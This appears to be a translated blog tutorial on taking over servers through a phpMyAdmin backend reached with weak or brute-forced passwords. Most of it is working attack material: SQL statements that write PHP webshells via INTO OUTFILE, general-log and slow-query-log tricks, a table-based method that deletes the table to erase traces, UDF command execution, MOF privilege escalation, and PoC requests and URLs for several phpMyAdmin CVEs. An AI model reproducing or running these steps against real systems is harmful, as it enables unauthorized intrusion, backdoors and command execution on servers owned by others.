Cause of the Incident#
Previously, I wrote an article about brute-forcing weak passwords for the phpMyAdmin
backend.
So, after gaining login access to the phpMyAdmin
backend, how can we write a shell
to the server for further operations?
Environment Configuration#
Most vulnerabilities in phpMyAdmin can only be exploited after authentication, so access to the backend is required.
Methods to access the backend can include:
- Weak passwords: root/root, root/empty, mysql/mysql
- Brute force: Refer to my previous article on phpMyAdmin brute-forcing
- Directory disclosure
The environment uses phpstudy
version 2018
, which previously had vulnerabilities that have been fixed.
- Apache/2.4.23
- PHP/5.4.45
- MySQL/5.5.53
Required Conditions#
Here, I will list all possible permissions that may be needed; not all writing methods require all permissions.
Absolute Path#
Physical path
select version(); -- Check database version
select @@datadir; -- Check database storage path
show VARIABLES like '%char%'; -- Check system variables
You can also obtain it through the log
variable:
phpinfo()
page: Ideally, it directly displays the web path.
Use select load_file()
to read files and find the web
path:
You can try files like /etc/passwd
, apache|nginx|httpd log
, etc.
Configuration file disclosure: If the injection point has file read permissions, you can try to read the configuration files through load_file.
# Windows
c:\windows\php.ini # php configuration file
c:\windows\system32\inetsrv\MetaBase.xml # IIS virtual host configuration file
# Linux
/etc/php.ini # php configuration file
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache configuration file
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # Virtual directory configuration file
Single quote path disclosure: Directly add a single quote at the end of the URL. This requires that the single quote is not filtered (gpc=off
) and the server returns error messages by default.
www.abc.com/index.php?id=1'
Error parameter value path disclosure: Try changing the parameter value to an incorrect value.
www.abc.com/index.php?id=-1
Nginx
file type error parsing path disclosure: Requires the Web
server to be Nginx
and have a file type parsing vulnerability.
Add /x.php
after the image address; this image will not only be executed as a php
file but may also disclose the physical path.
www.abc.com/bg.jpg/x.php
Google
path disclosure:
site:xxx.com warning
site:xxx.com “fatal error”
Test file path disclosure:
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
Others
phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
Check if the Account Has Read and Write Permissions#
If you encounter an error when writing the shell
, you can also check the following user permissions:
select * from mysql.user; // Query all user permissions
select * from mysql.user where user="root"; // Query root user permissions
update user set File_priv ='Y' where user = 'root'; // Allow root user to read and write files
update user set File_priv ='N' where user = 'root'; // Disallow root user to read and write files
flush privileges; // Refresh MySQL system privilege-related tables
Check if the Path Has Read and Write Permissions#
secure_file_priv Permission#
select @@secure_file_priv; -- Query secure_file_priv
-- secure_file_priv=NULL, prohibits import and export
-- secure_file_priv='', no restrictions on import and export, default writable to /tmp directory in Linux
-- secure_file_priv=/path/, can only import and export to the specified directory
Find
secure_file_priv
inmy.ini
,my.cnf
, ormysqld.cnf
files and set its value to "" or "/", then restart the MySQL service!
This is a general method; the mysql
configuration file in phpstudy
does not have this parameter.
So we can add a line secure_file_priv =
to the configuration file.
Restart mysql
and check again:
Log Read and Write Permissions#
Check the log status:
show variables like '%general%';
When general
is enabled, all executed sql
statements will appear in ***.log files.
Then, if you modify the value of general_log_file
, the executed sql
statements will generate a shell
.
Enable log read and write:
SET GLOBAL general_log='on'
Other Permissions#
magic_quotes_gpc
: When enabled, it escapes single quotes to become \
backslashes.
Getshell#
Regular Getshell#
The required conditions are:
- The current database user has write permissions
- Know the web absolute path
- The web path is writable
Usage:
select '<?php @eval($_POST[soap]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\config.php';
Note that if you are executing the write in the phpmyadmin
SQL statement, the path can only be a forward slash / or double backslashes \.
If you get an error message Can't create/write to file 'xxx/xxx/xxx.php' (Errcode: 13)
, it indicates that the directory is not writable. You can try other directories under the website, such as:
- /upload
- /templates
- /cache
Writing a Chinese path shell
:
set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[soap]);?>' into outfile 'C:\\phpStudy\\WWW\\测试\\config.php';
Ant Sword connection: http://192.168.1.7/config.php
, password: soap
You can also use it like this:
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test.php';
Access link: http://192.168.1.7/test.php?cmd=net user
You can also use it in places with injection points like this:
id=1) into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\settings.php' fields terminated by '<?php @eval($_POST[]);?>'
Create Table Getshell#
You can also operate directly in phpmyadmin
, or create a table directly with SQL statements:
CREATE TABLE `mysql`.`soapffz` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`soapffz` (`content` ) VALUES ('<?php @eval($_POST[soap]);?>');
SELECT `content` FROM `mysql`.`soapffz` INTO OUTFILE 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
or
Create TABLE soapffz (content text NOT NULL);
Insert INTO soapffz (content) VALUES('<?php @eval($_POST[pass]);?>');
select `content` from mysql.soapffz into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
Then delete the created table to erase traces
DROP TABLE IF EXISTS `mysql`.`soapffz`;
Connect to the shell
.
Log Getshell#
Required conditions:
- Log recording is enabled
- Web absolute path
Actual operations performed:
- Modify the log file to be a webshell.
Getshell by Writing to Log File#
Note that by:
show global variables like "%genera%";
set global general_log='on';
The operations set in the specified log directory will be invalid after restarting phpstudy
.
Specify the log file:
set global general_log_file = "C:/phpstudy/PHPTutorial/WWW/test2.php";
Write execution code:
SELECT '<?php eval($_POST["soap"]);?>'
Write Shell via Slow Query#
Check the current slow query log directory:
show variables like '%slow%';
Reset the path:
set GLOBAL slow_query_log_file='C:/phpstudy/PHPTutorial/WWW/slow.php';
Enable slow query logging:
set GLOBAL slow_query_log=on;
Execute to write to the log:
select '<?php eval($_POST["soap"]);?>' from mysql.db where sleep(10);
User Defined Function (UDF)#
Applicable to Windows
and Linux
environments.
Required conditions:
- Has write permissions
- Plugin directory is writable (or can change the specified plugin directory).
Specific situations depend on the target MySQL version:
- Mysql version > 5.1, the dll or so must be located in the mysql installation directory lib\plugin. When you have write permissions to that directory, you can utilize it. Check:
show variables like %plugin%;
// Check plugin directory - 5.0 <= Mysql version <5.1, needs to be exported to the target server's system directory, such as C://Windows/System32
- Mysql version < 5.0, the directory can be customized. Specific utilization is as follows:
Write specific directory so
or dll
according to the target mysql
version, you can refer to sqlmap
:
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\lib_mysqludf_sys.dll';
Create the corresponding function:
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
Execute command:
select * from mysql.func where name = 'sys_eval'; # Check the created sys_eval function
select sys_eval('whoami'); # Use system command
MOF Privilege Escalation#
Write a file to a MOF
file through mysql
, replacing the original MOF
file, then the system will execute the uploaded MOF
every five seconds.
Generally applicable to Windows <= 2003
, and the C:\Windows\System32\mof
directory has write permissions (which is generally not writable).
You can use MSF
to exploit directly: exploit/windows/mysql/mysql_mof
.
Special Version Getshell#
CVE-2013-3238
Affected versions: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
Exploitation module: exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
Affected version: phpMyAdmin v3.5.2.2
Exploitation module: exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
Command execution exists in the phpMyAdmin configuration file /config/config.inc.php
Affected versions: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
Exploitation module: exploit/unix/webapp/phpmyadmin_config
Weak passwords & universal passwords
Weak password: version phpmyadmin2.11.9.2, directly login as root user without a password
Universal password: version 2.11.3 / 2.11.4, username 'localhost'@'@" will log in successfully
phpMyAdmin Vulnerability Exploitation#
WooYun-2016-1994 33
: Arbitrary file reading vulnerability.
Affects phpMyAdmin 2.x
versions, poc
as follows:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
CVE-2014 -8959
: Local file inclusion.
Affected range: phpMyAdmin 4.0.1--4.2.12
, requires PHP version < 5.3.4
, Poc
as follows:
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00 # Note to change the token value
In actual exploitation, you can write files to the /tmp
directory in conjunction with this vulnerability to achieve RCE
, the php
version can be seen through the http header
or by exporting table content to file.
CVE-2016-5734
: Backend RCE
.
Affected range: PhpMyAdmin 4.0.x-4.6.2
, requires PHP 4.3.0-5.4.6 versions
, exploitation as follows:
cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
CVE-2018-1261
: Backend file inclusion.
phpMyAdmin 4.8.0
and 4.8.1
, verified to achieve arbitrary file inclusion. Exploitation as follows:
Execute SQL
statement to write PHP
code into Session
file:
select '<?php phpinfo();exit;?>'
Include session
file:
http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_*** # *** is the phpMyAdmin COOKIE value
CVE-2018-19968
: Arbitrary file inclusion /RCE
.
phpMyAdmin 4.8.0~4.8.3
, exploitation as follows:
Create a database and write PHP
code into Session
file:
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
Generate phpMyAdmin
configuration table for the foo
database, access:
http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
Tamper with data inserted into pma column_info
:
INSERT INTO `pma__column_info` SELECT '1', 'foo', 'bar', 'baz', 'plop','plop', 'plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** is the phpMyAdmin COOKIE value
Here, note that the system's session
save location is different; specific systems can be seen on the homepage after logging into phpMyAdmin
.
MacOS
: /var/tmp
Linux
: /var/lib/php/sessions
phpStudy
: /phpstudy/PHPTutorial/tmp/tmp
Access the address containing the Session file:
http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
Reference articles: